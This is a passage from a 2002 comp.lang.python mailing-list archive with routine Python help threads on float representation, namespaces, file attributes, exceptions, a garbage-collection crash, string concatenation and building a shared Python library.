Message-ID: "David K. Trudgett" writes: > > point was changed between Python 1.5.2 and Python 2.1. If you are > > bothered by the representational rounding for 0.1, you can always > > truncate the answer to fewer decimal places. > > Yes, which is what one would normally do, probably, depending on how > quick and dirty the program is. By the way, while the interactive interpreter is one very visible place where you get hit by the change, it's not very hard to avoid for simple expressions if you prefer the older (rounded, imprecision hidden) approach for output. By default an expression is shown in the interpreter using repr(), which is what changed to help ensure it maintains as many significant digits as likely to be usable under IEEE rules (e.g., for converting back and forth to strings as precisely as possible). But str() conversions still use the more readable rules. E.g.: Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> str(0.1) '0.1' >>> repr(0.1) '0.1' >>> 0.1 0.1 >>> print 0.1 0.1 >>> ^Z Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> str(0.1) '0.1' >>> repr(0.1) '0.10000000000000001' >>> 0.1 0.10000000000000001 >>> print 0.1 0.1 So if you just "print" your expressions at the interactive prompt you'll get the same thing under all Python releases, since print internally converts non-string arguments to string with str(). The same would be true for any use of str() explicitly in code or '%s' as a formatting operation. If you really want the older behavior, in the later versions you can also override sys.displayhook with your own function for default display of interactive results. Here's a simple one that makes the default use print: import sys, __builtin__ def default_display_hook(x): if x is None: return print repr(x) __builtin__._ = x sys.displayhook = default_display_hook What's difficult to avoid is recursive structures (lists, dictionaries, etc...) since repr() is also automatically used for the inner objects, and that's much harder to override. But in any code that you may be manipulating such objects for end user display you should be able to format the objects yourself (with str() or '%s') to get the "nicer" output. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From sholden at holdenweb.com Fri May 31 06:19:36 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 06:19:36 -0400 Subject: Where can I find .join() in the docs References: Message-ID: <0bIJ8.77414$%u2.10135@atlpnn01.usenetserver.com> "Geiger Ho" wrote ... > Hi all, > > I would like to know how could I modify the following code so that it > can be a function in a module? I've tried. But the interpreter warns me > that no __dic__ attribute in __builtins__. > > Also, how can I know how many namespaces I create in an environment and > how can I modify the code so that it can show what is in a specific > namespace. > > Thanks in advance. > > Regards, > Geiger > > > On Thu, 30 May 2002, Duncan Booth wrote: > > > You might find this useful as it shows you what is really in builtins, not > > what is documented: > > >>> def showNamespace(namespace=None): > > '''Summarise namespace contents''' > > if namespace is None: namespace = __builtins__.__dict__ > > names = {} > > # Build a dictionary mapping type to list of names > > for k, v in namespace.items(): > > names.setdefault(type(v), []).append(k) > > # Extract typename and name lists into a list > > items = [(t.__name__, v) for t, v in names.items()] > > items.sort() # Sort by typename > > # Print out the variables categorised by type > > for k, v in items: > > print "%s:" % k, ", ".join(v) > > print > > Well, you could try typing in the code you quoted, rather than misspelling __dict__ as __dic__. Surely the error message gave you *some* idea where to look? To give a meaningful answer to your second question is diffcult. Each object has its own namespace, as does each function execution, as does each module. I'm not sure *why* you might want to to this, unless you are simply (!) writing a debugger, or trying to improve your command of Python. what's-in-a-namespace-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From logiplexsoftware at earthlink.net Wed May 1 16:50:26 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 1 May 2002 13:50:26 -0700 Subject: remove read only flag In-Reply-To: <7396d2b2.0205011236.201c9cb@posting.google.com> References: <7396d2b2.0205011236.201c9cb@posting.google.com> Message-ID: <20020501135026.507291c0.logiplexsoftware@earthlink.net> On 1 May 2002 13:36:13 -0700 Lemniscate wrote: > import os > filename = "test.lmn" > os.system('attrib -R %s' % filename) # H is the Read attribute, goto > 'help attrib' for others > > You can make a list using something like os.listdir (or os.path.walk) > and do it that way. This is a very windows oriented method, but you > could add an OS check to make it more portable. Personally, I shy > away from having windows users use the os.chmod() function as > windows-users are, historically, 1) less prone to understand file > permissions and 2) Windows is going towards an 'NT' platform where you > may not have permissions to chmod(666) or the like. os.chmod(filename, 644) works on Win2k, provided of course you own the file or otherwise have adequate permissions to alter it. If you don't have those permissions then I don't see how using attrib is going to get around that. Unless-it's-another-Windows-security-hole'ly yrs, -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From duncan at NOSPAMrcp.co.uk Fri May 10 11:15:02 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Fri, 10 May 2002 15:15:02 +0000 (UTC) Subject: What Exceptions are there? (was: "a better input") References: <080520021314438230%alexis.layton@post.harvard.edu> <1_tC8.40668$zW3.442583@news1.tin.it> <100520021023459171%pecora@anvil.nrl.navy.mil> Message-ID: "Emile van Sebille" wrote in news:hQQC8.10635$Po6.194 at rwcrnsc52.ops.asp.att.net: > Louis M. Pecora >> Ok, you knew there was an exception of that type (ValueError), but is >> there a way to get a list of exceptions in a Python module or in the >> main Python core? There are probably zillions. > > dir(__builtins__) gives you a good start. > If you have a sufficiently recent version of Python: Go to your python installation, change into the lib directory and run: pydoc -g You should get a small window popping up with some buttons and a text box labelled 'Search for'. Type 'exceptions' into the box, press return and click on the second entry 'exceptions - Python's standard exception class hierarchy'. This should open your browser with an HTML page describing exceptions and giving (amongst other things) a class hierarchy: Exception | +-- SystemExit +-- StopIteration +-- StandardError | | | +-- KeyboardInterrupt | +-- ImportError | +-- EnvironmentError | | | | | +-- IOError | | +-- OSError | | | | | +-- WindowsError | | | +-- EOFError | +-- RuntimeError | | | | | +-- NotImplementedError | | | +-- NameError | | | | | +-- UnboundLocalError | | | +-- AttributeError | +-- SyntaxError | | | | | +-- IndentationError | | | | | +-- TabError | | | +-- TypeError | +-- AssertionError | +-- LookupError | | | | | +-- IndexError | | +-- KeyError | | | +-- ArithmeticError | | | | | +-- OverflowError | | +-- ZeroDivisionError | | +-- FloatingPointError | | | +-- ValueError | | | | | +-- UnicodeError | | | +-- ReferenceError | +-- SystemError | +-- MemoryError | +---Warning | +-- UserWarning +-- DeprecationWarning +-- SyntaxWarning +-- OverflowWarning +-- RuntimeWarning -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From jimmy at retzlaff.com Wed May 1 23:20:07 2002 From: jimmy at retzlaff.com (Jimmy Retzlaff) Date: Wed, 1 May 2002 20:20:07 -0700 Subject: Fatal Python error: GC object already in linked list Message-ID: The Man [mailto:tim.one at comcast.net] said: > [Jimmy Retzlaff] >> I'm working on an application in Python and my application occasionally >> dies with the error: >> >> Fatal Python error: GC object already in linked list >> >> I'm quite unfamiliar with Python's implementation, but I tried studying >> a little in this case. That error message only appears in a macro in >> objimpl.h (_PyObject_GC_TRACK), and that macro only seems to be used in >> a function that creates traceback objects in traceback.c >> (newtracebackobject). > > You need to get a better string-searching program . You're wrong right off the bat! I actually need to get a better string-searching program operator. :( > If you possibly can, build a debug-mode Python from source, and run > under a debugger... OK, I've done it. It was somewhat painful. Python itself built easily enough, but some of the extensions I rely on weren't so easy. And having been away from the compiled code world for a few years, I couldn't believe how long compiling takes on today's machines! I suppose it's good to occasionally be reminded of why I swore off C/C++ for Python. > You get the error message if you try to tell gc to pay attention to an > object it's already paying attention to... The object getting too much attention is a tuple containing two ints. More detail later... > If you don't have any C code of your own in this mix, you're > probably tickling a memory-management bug... > > Try > > import gc > gc.disable() > > at the start. If the problem goes away then, it doesn't prove anything, > but at least it would be amusing . I don't have any non-Python code of my own in this application. The problem still occurs with gc.disable() but in a different place in my code and with a different tuple. > Move to Python 2.2.1 ASAP, please... I will. I've been waiting until after this release (tonight). With a debug build I've narrowed the problem down a bit. Given the random nature of the problem, it's hard to find the first occurrence of something paying attention to the tuple, but the second occurrence is pretty easy given the debug break that occurs. It's been a very long day and I think my brain is swelling from learning so much of Python's implementation, so please bear with me. :) The debug break occurs within lines of my code like this: width, height = window.GetSize() It's not always on the same line, but it seems to be on lines of similar nature. Also that line executes successfully thousands of times before it fails. window.GetSize() returns a wxSize instance (wxSize is a SWIG generated wrapper of a C++ class within wxPython/wxWindows). In executing that line of code it seems that Python does something roughly equivalent to: temp = window.GetSize() width = temp[0] height = temp[1] # dies during this step wxSize.__getitem__ is simply "return self.asTuple()[index]". wxSize.asTuple is a line of SWIG Python consisting of a call to this C code: static PyObject * wxSize_asTuple(wxSize *self) { PyObject* tup = PyTuple_New(2); PyTuple_SET_ITEM(tup, 0, PyInt_FromLong(self->x)); PyTuple_SET_ITEM(tup, 1, PyInt_FromLong(self->y)); return tup; } The error is flagged just before the second assignment (height), after the conversion to a tuple, during the execution of the BINARY_SUBSCR opcode. Near the end of that opcode, the tuple's reference count is decremented which triggers the error. I'm heading out of town for a week, but when I get back I'll try upgrading to 2.2.1 and, if I still have the problem, try to isolate it further. Thanks again, Jimmy From joonas.paalasmaa at iki.fi Sun May 5 02:12:53 2002 From: joonas.paalasmaa at iki.fi (Joonas Paalasmaa) Date: Sun, 05 May 2002 09:12:53 +0300 Subject: Very strange behaviour on Windows References: <3CD4491E.CEC76CE@iki.fi> <3CD45340.7C50F9D3@iki.fi> Message-ID: <3CD4CD65.1CF4BF61@iki.fi> dsavitsk wrote: > > As I recall, the Win98 debug cycle begins with uninstall and continues on to > reinstall. > > -d I reistalled Python, but it isn't working. > "Joonas Paalasmaa" wrote in message > news:3CD45340.7C50F9D3 at iki.fi... > > Chris Gonnerman wrote: > > > > > > ----- Original Message ----- > > > From: "Joonas Paalasmaa" > > > > > > > When I invoke the interactive interpreter on Windows, > > > > Python claims that every line I type is syntactically > > > > invalid. However, when the interpreter is used to > > > > start scripts, everything seems to be working quite > > > > fine. The problem is propably in Windows's command- > > > > line, but what the problem could be? > > > > > > [[ example ellided ]] > > > > > > What version of Windows? Has it ever worked before? > > > > Windows 98. It worked earlier, but then something weird propably > > happened and now it isn't working anymore. Could there be a way to debug > > the problem deeper and find its cause. From peter at engcorp.com Tue May 14 07:55:09 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 May 2002 07:55:09 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CE05339.6660B6BA@engcorp.com> Message-ID: <3CE0FB1D.C427F4E3@engcorp.com> Chris wrote: > > In article <3CE05339.6660B6BA at engcorp.com>, > Peter Hansen wrote: > > > You've said there's a danger in things being too obvious, and that there > > are advantages to a bit of ambiguity, but you haven't yet stated what > > that danger nor what those advantages might be. > > The danger is stagnation. A certain approach works, so that's what gets > used, even when there are other better(shorter, more readable, more > consistent, more elegant, faster, more "direct", etc.) ways of > approaching a problem. Seems to me that the obvious approach is highly likely already to be the shorter, more readable, more consistent, etc. approach, but maybe that's just me... > > Personally, I reject both of them outright, after starting with the > > premise that when programming I'm engaged in a practical endeavour, > > not an artistic one. > > With all of the people I know who've gone into "computer science" > because "they can make a lot of money", and not because they have any > kind of passion for it, I take a bit of offense at that idea. I believe you're confusing two separate issues. Passion and art are orthogonal concepts. I have a great deal of passion for programming and technology. I just don't need to find non-practical "artistic" approaches to doing it most of the time. I take pleasure in noticing the occasional exceptionally elegant design or approach, but to make those an explicit goal is, to me, counter-productive. But I guess we're way into religious territory, so I've said enough... :-) -Peter From skip at pobox.com Fri May 31 15:43:46 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 31 May 2002 14:43:46 -0500 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: <15607.53874.807537.271790@12-248-41-177.client.attbi.com> >> rows = self.executesql(("select cities.city, state, country" + >> " from cities, venues, events, addresses" + >> " where cities.city like %s" + >> " and events.active = 1" + >> " and venues.address = addresses.id" + >> " and addresses.city = cities.id" + >> " and events.venue = venues.id"), >> (city,)) Grant> I dunno...I don't know anything about SQL, but your code looks Grant> sortta Pythonic. Yeah it does. It serves two purposes. One it makes it clear to me where the various clauses of the select statement begin ("from ...", "where ..."). It also guarantees I have at least one space between the different fragments. This: ("select cities.city, state, country" "from cities, venues, events, addresses" "where cities.city like %s" "and events.active = 1" "and venues.address = addresses.id" "and addresses.city = cities.id" "and events.venue = venues.id") might appear correct, but there are no spaces between the end of one substring and the start of the next... -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From phd at phd.pp.ru Sat May 11 11:58:47 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 11 May 2002 19:58:47 +0400 Subject: Multibyte Character Surport for Python In-Reply-To: ; from johnroth@ameritech.net on Sat, May 11, 2002 at 08:00:53AM -0400 References: Message-ID: <20020511195847.A29016@phd.pp.ru> On Sat, May 11, 2002 at 08:00:53AM -0400, John Roth wrote: > > > 4. All syntax words are preceeded by a special character, which > > > is not presented to the viewer by Python 3.0 aware tools. Instead, > > > the special character is used to pick them out and highlight them. > > > The reason for this is that the vocabulary of syntax words can then > > > be expanded without impacting existing programs - they are > > > effectively from a different name space. > > > > Why do you want to make perl of python? If you want perl just go > and use > > perl, no problem. > > I wasn't intending to do that. Perl's 'funny characters' solve one > significant problem that comes up every time someone suggests > adding a character syntax word to python: breaking existing code. In my opinion, the cure is worse than the disease. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From dswegen at software.plasmon.com Fri May 31 06:07:00 2002 From: dswegen at software.plasmon.com (Dave Swegen) Date: Fri, 31 May 2002 11:07:00 +0100 Subject: Python equivalent of shell's '$?' Message-ID: <20020531100700.GN14959@software.plasmon> If I call an external program from a python script, how do I check that programs exit status? In sh I would simply check the $? variable, but I can't seem to find any equivalent in python. Or does python suffer from the same unreliabilty as perl in this regard (I've learnt that catching errors from sub shells is highly unreliable, and ended up having not checking for errors, as I would sometimes get spurious results back). Any info much appreciated. Cheers Dave From michael.williams at st-annes.oxford.ac.uk Wed May 22 08:25:02 2002 From: michael.williams at st-annes.oxford.ac.uk (Michael Williams) Date: Wed, 22 May 2002 13:25:02 +0100 Subject: [Edu-sig] Emulating Pascal input In-Reply-To: <200205221142.g4MBgxM09862@pcp742651pcs.reston01.va.comcast.net> References: <20020522110320.GA7559@st-annes.oxford.ac.uk> <200205221142.g4MBgxM09862@pcp742651pcs.reston01.va.comcast.net> Message-ID: <20020522122502.GA6726@st-annes.oxford.ac.uk> On Wed, May 22, 2002 at 07:42:59AM -0400, Guido van Rossum wrote: > [Michael Williams is looking for a readln() replacement] > > If you're willing to change the input format to require commas between > numbers, you could use the standard built-in function input(), which > was put in Python specifically to support this kind of usage. I did consider this but: - the quasi-standard way of delimiting data is whitespace -- not commas. - allowing users of programs to interact using input() is A Bad Thing. -- Michael From cliechti at gmx.net Thu May 30 17:26:13 2002 From: cliechti at gmx.net (Chris Liechti) Date: 30 May 2002 23:26:13 +0200 Subject: semi-concatenated strings References: Message-ID: Steven Majewski wrote in news:Pine.OSX.4.43.0205301633130.5638-100000 at d-128-61-180.bootp.Virginia. EDU: > On 30 May 2002, Grant Griffin wrote: >> I discovered today that strings can sometimes be concatenated without >> using a "+": > >> >>> a = 'one' ' plus ' 'two' >> >>> a >> 'one plus two' > > [...] > >> Is there some grand purpose here, or is this just a bug in the >> parser? > > It's a feature, not a bug: > > I believe that it predates the triple quoted strings as a way to have > very long multiline strings. ( I'ld have to dig thru the news archives > or the changelog to be certain about the history. ) > > (There should only be HOW MANY WAYS?! ;-) it has applications where only this method works. i think the example is in the docs. e.g. when you want to comment on a complicated string, like an regex: re.compile("([ab])+" #group one (at least one occurence of either a or b) "(hello)*" #group two (optional) ) (ok + works too but its not the same. the "'a' 'b'" concatenated string is one, with + you have many strings that are concatenated at runtime.) the feature is also known in C, where it's important to do some preprocessor magic. chris -- Chris From peter at engcorp.com Thu May 16 20:58:46 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 16 May 2002 20:58:46 -0400 Subject: Unicode File I/O Grief References: Message-ID: <3CE455C6.11CD1DBB@engcorp.com> Dale Strickland-Clark wrote: > > "Terry Reedy" wrote: > > >Try it and see. The interactive interpreter makes it trivial to > >investigate such questions oneself. > > > >Terry J. Reedy > > > > > Um...I did. It didn't work. Hence the post. It helps to explain that you already tried, and preferably cut-and-paste from the interactive prompt so people can see the exception traceback rather than guessing about what your problem is. -Peter From marknews at mceahern.com Fri May 10 08:57:15 2002 From: marknews at mceahern.com (mark mceahern) Date: 10 May 2002 05:57:15 -0700 Subject: comparing lists References: Message-ID: [Alex Martelli] > Here's a O(N) solution: > > def compare_via_dicts(L, M): > def makebag(L): > dL = {} > for x in L: > x = x.lower() > dL[x] = 1 + dL.get(x, 0) > return makebag(L) == makebag(M) > > Note we use a 'bag' (x -> #instances of x in list), not a set, to take care > of repetitions so ['a', 'A'] will not appear equal to ['a', 'A', 'A'], &c. Checking the lengths of the lists would also work to prevent ['a'] == ['a', 'a']. Thank you for this code. Cheers, // mark From phd at phd.pp.ru Wed May 22 05:58:11 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 22 May 2002 13:58:11 +0400 Subject: How to create a dynamic lib of Python API ? In-Reply-To: <3ceb6967$0$223$626a54ce@news.free.fr>; from dag4004@free.fr on Wed, May 22, 2002 at 11:48:40AM +0200 References: <3ceb6967$0$223$626a54ce@news.free.fr> Message-ID: <20020522135811.G10295@phd.pp.ru> On Wed, May 22, 2002 at 11:48:40AM +0200, dag4004 wrote: > I dont want to compile Python staticaly again libpython.a but i want to > create a dynamic lib of Python's API (like libpython.so for exemple) and > compile the interpreter with it. > > Does some one know how to do that ? The name of your libpython.a suggests that it is a variant of UNIX, but what exactly is it? OS? compiler? I can help with Linux/gcc this way: make distclean OPT="-O2" CC=gcc CFLAGS="-O2" CXX=g++ CXXFLAGS="-O2" LDFLAGS="-s" ./configure make || exit 1 mkdir .extract (cd .extract; ar xv ../libpython2.2.a) gcc -shared -o libpython2.2.so .extract/*.o rm -rf .extract PS. Python 2.3 will do it if configured with ./configure --enable-shared. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From sholden at holdenweb.com Fri May 24 11:50:42 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 24 May 2002 11:50:42 -0400 Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> <83bsbapcmr.fsf@panacea.canonical.org> Message-ID: <%gwH8.32021$ut3.1406@atlpnn01.usenetserver.com> "Max" wrote ... [...] > > Thanks, very useful... you never stop learning, even when you started Python > 3 months ago... :) > s/months/years/ and it's still 1 -- sorry, True :-) regards -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From phd at phd.pp.ru Mon May 13 11:28:08 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Mon, 13 May 2002 19:28:08 +0400 Subject: How to call another file In-Reply-To: ; from yiyang@wharton.upenn.edu on Mon, May 13, 2002 at 11:31:11AM -0400 References: Message-ID: <20020513192808.B28890@phd.pp.ru> On Mon, May 13, 2002 at 11:31:11AM -0400, Catherine Yang wrote: > How to use Python to call another file, e.g. a SAS file *.sas ? We don't know much about SAS... what do you mean saying "call"? How do one "calls" a SAS file? Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jicondon at us.ibm.com Wed May 29 13:14:13 2002 From: jicondon at us.ibm.com (dW) Date: 29 May 2002 10:14:13 -0700 Subject: Review of Python Books Message-ID: David Mertz just came out with a review of a numbers of interesting books on Python recently published. This installment provides new comparative reviews of recent Python titles (or titles missed in the last roundup). http://www-106.ibm.com/developerworks/linux/library/l-pbook3.html?open&l=968,t=gr also: The Python Web services developer: Full list of article for Python Web services developers. http://www-106.ibm.com/developerworks/library/ws-pythcol.html?open&l=968,t=gr From markus.gloetzel at gmx.net Wed May 15 12:00:09 2002 From: markus.gloetzel at gmx.net (Markus Glötzel) Date: Wed, 15 May 2002 16:00:09 GMT Subject: how to run *.py in pythonshell on win98 Message-ID: <3ce2848a.19425450@news.cis.dfn.de> Hi Group, I have just installed python 2.2.1 and run my first hello world in a dos-box with python.exe d:\directory\file.py It works, fine. Now I want to know how to run file.py directly in the IDLE Python shell. I cant find an answer in the FAQ or elsewhere, maybe it is to simple or i am not looking in the right places ... Thanks in Advance Markus From dkuhlman at rexx.com Tue May 28 17:43:53 2002 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Tue, 28 May 2002 14:43:53 -0700 Subject: #!/bin/env problem Was: Re: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> <3CF3F37B.CF1DCCA@noaa.gov> Message-ID: While we're thinking about this, here is something I stubbed my toe on today: I typically start my scripts with a first line like the following: #! /usr/bin/env python Quite a few files in Python2.2.1/Lib do likewise. But, when I tried to add an option to be passed to the Python interpreter by changing the first line to: #!/usr/bin/env python -t I get an error message: /usr/bin/env: python -t: No such file or directory Shouldn't I be able to pass a flag to the Python interpreter? Looking at the env man page did not help. And, quotes around "python -t" did not help. Is there another "trick"? So I guess I am just asking for a solution to one more problem in addition to the one Chris is describing. I'm on Linux, by the way. - Dave Chris Barker wrote: > > > Christopher Browne wrote: >> Wouldn't it be easier to simply change the first line to: >> #!/usr/bin/python1.5 > > Only on *nix.... > > I'd love to see a platform independent way of doing this. Maybe > all we need to do is have the Python interpreter front-end look > for that classic *nix line, and then dispatch the script to the > correct interpreter for you. And have it work the same way on all > platforms. > > Yes, it's too late to have code like this in old scripts, but it > only gets worse with each new version. This was brought up two > versions ago (2.0). Also, while someone would have to go back and > add a line to all their old scripts, this is a whole lot less work > than checking each for incompatability with new features. OF > course, that being said, RedHat seems to be incapable of adding a > "1.5" to all their config scripts, so maybe there is more to it > than I imagine. > > All we need is a very simple dispatching front end, that looks for > a key at the top of the __main__ script, and invokes the correct > interpreter. A sysadmin could decide how many versions they want > to support, but it should be easy to have a half a dozen non each > machine. This really is a problem that needs to be addressed, and > it just seems so easy! > > -Chris > > > > -- Dave Kuhlman dkuhlman at rexx.com http://www.rexx.com/~dkuhlman From fperez528 at yahoo.com Tue May 21 12:04:16 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 10:04:16 -0600 Subject: ANSI colored output: How to determine how python was called? References: Message-ID: Pearu Peterson wrote: >> colored text. And when you are trying to run colored text through pagers >> like more/less, a whole new can of worms opens up! > > This can of worms is kept closed by using sys.stdout.isatty(). Try: > > python -c "import sys;print sys.stdout.isatty()" | less > Ah, but I _want_ to run colored text through a pager. And a well configured recent version of less can do it beautifully (under linux), though 'more' gets totally confused. My approach has been to document it in IPython and make it an option which is off by default. The users can test, and if it works for them they can turn it on. When it works it's great: you get syntax highlighted source code printouts for all your code objects from within ipython. Cheers, f. From kragen at pobox.com Tue May 14 04:09:17 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 04:09:17 -0400 Subject: Multibyte Character Surport for Python References: Message-ID: <83d6vzgngy.fsf@panacea.canonical.org> Alex Martelli writes: > This one person has had this dubious "pleasure" and loathes the idea > with a vengeance. The very *IDEA* of cutting off the huge majority of > programmers in the world, who don't understand Italian, from being > able to understand and work with my code, is utterly abhorrent to me. For any natural language X, it is the case that the huge majority of people in the world do not understand X. As the population of programmers becomes less Americocentric and less educated (that is, as programming becomes easier and more useful), it is likely to be the case that the majority of programmers in the world will not understand English. It is unfortunate that this state is abhorrent to you, but the current state of programming --- confined to the elite --- is a greater evil. > Now THAT is one niche where I'm glad that Italians' tendency to > esterophily has prevailed -- all languages (Basic variants, etc) who > perpetrated such horrors have died unmourned deaths. I may be I agree that programming language keywords should not be localized; the notations for iteration, conditionals, math, abstraction, application, and so forth, should not vary by language. It is perfectly acceptable for a person who does not speak English to learn "if", "for", "except", and so forth, in order to speak Python; the vocabulary is quite small. It is no different from American musicians having to learn "allegro", "D.C. al fine", and "tremolo" --- it simply doesn't add significantly to the difficulty of the notation. But variable and function names belong to the programmer and the program's audience, not the notation, and should be written in the language that affords these people the most expressive power. From brian at sweetapp.com Sun May 19 13:06:29 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sun, 19 May 2002 10:06:29 -0700 Subject: Merits of replacing bash with python In-Reply-To: <000001c1ff54$89312680$e193193e@oemcomputer> Message-ID: <001101c1ff57$84e592c0$445d4540@Dell2> Kevin wrote: > I am pretty new to python and am looking for some good reasons to > replace bash with python. Python is designed to be a general purpose programming language. I don't think that it would be convenient as a shell. Cheers, Brian From kragen at pobox.com Tue May 21 00:10:54 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 21 May 2002 00:10:54 -0400 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <83it5im981.fsf@panacea.canonical.org> Fernando P?rez writes: > So I know perfectly well that immutable objects can simulate in-place > operations. The question is whether the performance hit you take is > significant or not. Since it _can_ be (try a large loop on a string with += > and watch your machine hit a wall), I tend to be of the opinion that unless > there's a compelling reason to make the objects immutable, one is better off > by not forcing the performance penalty. Simply because it makes the language > more scalable and worry-free. Immutable objects need to be copied to effect small changes; mutable objects can't be safely shared between code written by people who don't communicate, and must therefore be copied at every library boundary. Which one is a larger performance penalty depends on your application. Most applications benefit from a mixture of some mutable and some immutable objects, although as jb points out, the semantics of immutable objects can be implemented efficiently with behind-the-scenes mutation at the cost of some compiler complexity. Mutability tends toward surprising interactions and aliasing bugs, of course. Saying it makes the language more "worry-free" is the farthest thing from the truth. From peter at engcorp.com Fri May 24 00:24:49 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 May 2002 00:24:49 -0400 Subject: Tkinter not working References: Message-ID: <3CEDC091.23D01BB5@engcorp.com> Chris wrote: > > I've tried to install the latest Python 2.1 and its fine and the Tkinter test > works fine but whenever i try to load an image in it it won't work. For PNGs > it tells me the files doesn't exist, but it does, and for TIFFs it says it > isn't a valid TIFF. Is there anything I can do? I'm on Mandrake Linux 8.1. Can you post a traceback or two showing the exact errors? Then we don't have to guess. -Peter From wurmy at earthlink.net Sun May 26 00:52:02 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Sun, 26 May 2002 04:52:02 GMT Subject: Bug?? reusing objects References: Message-ID: <3CF06B12.B1B8BC35@earthlink.net> Damian Menscher wrote: > > The following test program demonstrates what I believe is a bug: > ------------------------------------------------------------- > #!/tmp/Python-2.2.1/python > > class foobar: > def __init__(self, string=[]): > self.data = string > def add(self, new=""): > self.data.append(new) > > a = foobar("foo") > print a.data > > a = foobar("bar") > print a.data > > a = foobar() > print a.data > > a.add("foo") > a.add("bar") > print a.data > > a = foobar() > print a.data ### returns ['foo', 'bar'] for me > ### I'd expect it to return [] > ------------------------------------------------------------- > If this is expected behavior, could someone please explain it? > Otherwise, I'll be happy to file a bug report. It's a FAQ: http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.025.htp "It is often expected that a function CALL creates new objects for default values. This is not what happens. Default values are created when the function is DEFINED, that is, there is only one such object that all functions refer to. If that object is changed, subsequent calls to the function will refer to this changed object. By definition, immutable objects (like numbers, strings, tuples, None) are safe from change. Changes to mutable objects (like dictionaries, lists, class instances) is what causes the confusion." -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From siegfried.gonzi at kfunigraz.ac.at Tue May 14 14:02:51 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 20:02:51 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <3CE14638.658C6F0E@kfunigraz.ac.at> <20020514134255.F24034@eecs.tufts.edu> Message-ID: <3CE1514B.44CDFD8F@kfunigraz.ac.at> Michael Gilfix wrote: > > def f(list,list2): > > erg = [] > > for k in range( len(list) ): > > erg.append( function_on_list2( list2[j] ) ) > > return erg > > There's a bug in this though. it should be 'list2[k]', not 'j'. > Perhaps that's your side-effect? Sorry for the typo. My intention was only to show some of my general programming behavior. I cannot post the Python code (it is likely that it has surfaced the 1000 LOC; for me this is huge). The above code -- except for the demonstration-- has not any relevance. I dare to say that I can remember a strange behavior of Common Lisp on my stationary machine. On my laptop a specific calculation took about 30min; the same calculation on my stationary machine (Pentium III, 128MB RAM) took over 2 hours (note: normally my Celeron 1000 MHz is twice as fast as the Pentium III 450 MHz). At this time I thought my hard disc is scattered and I commanded our sys-admin to cure the situation and he installed a new Windows NT. I then never used Lisp on my stationary machine (I use it from time to time on my laptop; but I do most of my data evaluation with Python in the meantime). But maybe you are right that the behavior is due to Windows itself. The stationary machine has 128 MB RAM and the laptop has 256MB RAM. But the laptop has quite a small cache 128K (due to Celeron I think ), but a faster and more modern hard disc. You mentioned "del": I tried it but it won't improve the situation. > Well, welcome to Linux :) But don't discard python on windows just yet. > It usually does the job. At the time of this writing I execute the Makefile in order to compile Python. Hope it will succeed. So and my calculation on my laptop is about to hit the 200MB threshold... Regards, Siegfried Gonzi From pyth at devel.trillke.net Thu May 16 12:50:40 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 18:50:40 +0200 